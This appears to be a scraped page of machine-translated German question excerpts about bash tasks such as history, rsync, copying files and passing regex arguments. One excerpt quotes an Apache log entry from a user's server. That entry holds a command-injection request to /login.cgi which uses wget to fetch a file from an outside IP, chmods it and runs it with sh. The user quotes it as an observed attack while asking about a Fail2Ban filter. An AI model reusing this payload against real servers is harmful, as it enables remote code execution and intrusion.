Mögliches Duplikat: Wie kann ich mich effizient in der Bash-Befehlszeile bewegen? In der Windows-Eingabeaufforderung können Sie ein Wort durch Drücken von ctrlund vor- oder zurückgehen <-/->. Was ist das Äquivalent in einer Bash-Umgebung?
Hin und wieder wäre es nützlich, einen Befehl direkt in den Verlauf von Bash einzufügen, ohne ihn tatsächlich auszuführen. Bisher habe ich festgestellt, dass das Geschlossene darin besteht, ein #davor einzufügen und die Return-Taste zu drücken. Gibt es bessere Wege?
Wenn ich ein Skript starte, das lange dauern wird, wird es mir unweigerlich klar, nachdem ich das Skript gestartet habe, und ich wünschte, ich hätte eine Möglichkeit, eine Art Warnung zu erstellen, sobald es abgeschlossen ist. Also zum Beispiel, wenn ich laufe: really_long_script.sh und drücken Sie die Eingabetaste ... Wie …
Ich habe einen Prozess, der von init.d Skript im Hintergrund ausgeführt wird. Z.B: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac Unter bestimmten Umständen kann myprocess fehlschlagen und zurückkehren. Gibt es einen (Standard-) Weg, um einen Fehler zu erkennen und automatisch neu zu …
Gibt es eine Möglichkeit, mit rsync die vollständigen Dateipfade für alle Dateien zu drucken, die sich unterscheiden, ohne dass tatsächlich Dateien übertragen werden? Alternativ brauche ich eine Möglichkeit, um die Dateien über zwei Bäume (über SSH) zu verteilen, die nur auf einer Änderung der Größe oder der Zeit der letzten …
Diese BASH-Skriptdatei mit nur einem Befehl ist schwer zu verstehen. Daher möchte ich zu jeder Aktion einen Kommentar schreiben: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed ist nur ein Beispiel, eigentlich ist es eine Mischung aus greps und trs …
Diese Frage wurde von Stack Overflow migriert, da sie im Super User beantwortet werden kann. Vor 9 Jahren migriert . Ich muss einen Ordner / home / user von einer Festplatte auf eine andere kopieren. Es hat 100.000 Dateien und eine Größe von ca. 10 GB. ich benutze cp -r …
Ich glaube, ich habe zwei Verzeichnisse mit dem gleichen Inhalt, möchte es aber überprüfen. Außerdem möchte ich einen Ordner ausschließen, der sich in beiden Verzeichnissen befindet. Wie kann ich es tun?
Ich verwende bash sowohl auf meinem Mac als auch als Cygwin-Shell. Insgesamt bin ich sehr zufrieden damit. Meine einzige Beschwerde ist jedoch, dass die TAB-Vervollständigung nicht so gut ist wie die Windows-Befehlszeilen-TAB-Vervollständigung. Wenn zum Beispiel zwei Dateien mit demselben Präfix vorhanden sind, ertönt beim Versuch, die TAB-Vervollständigung durchzuführen, nur ein …
In bash können Sie !*alle Argumente aus dem vorherigen Befehl abrufen. Wenn Sie dies zum Beispiel getan haben cp /some/path /some/other/pathund dann getan haben mv !*, wird der zweite Befehl auf erweitert mv /some/path /some/other/path. Gibt es so etwas, das verwendet werden kann, um von einem Befehl aus auf ein …
Ich habe auf den Apache-Protokollen meines Servers in letzter Zeit die folgenden seltsamen Zeilen bemerkt: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbannen, die diese /login.cgi-URLs anfordern. Aber ich war neugierig, was sie …
Wenn ich alle *.soDateien von srcnach kopieren dstmöchte, mache ich Folgendes: cp src/*.so dst Ich möchte jedoch alle *.soDateien von src und seinen Unterverzeichnissen in kopierendst . Irgendwelche Hinweise?
Ich habe mir ein Linux-Programm geschrieben program, das einen regulären Ausdruck als Eingabe benötigt. Ich möchte das Programm in der bashShell aufrufen und diesen regulären Ausdruck als Befehlszeilenargument an das Programm übergeben (es gibt auch andere Befehlszeilenargumente). Ein typischer regulärer Ausdruck sieht aus wie [abc]\_[x|y] Leider sind die Zeichen [, …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.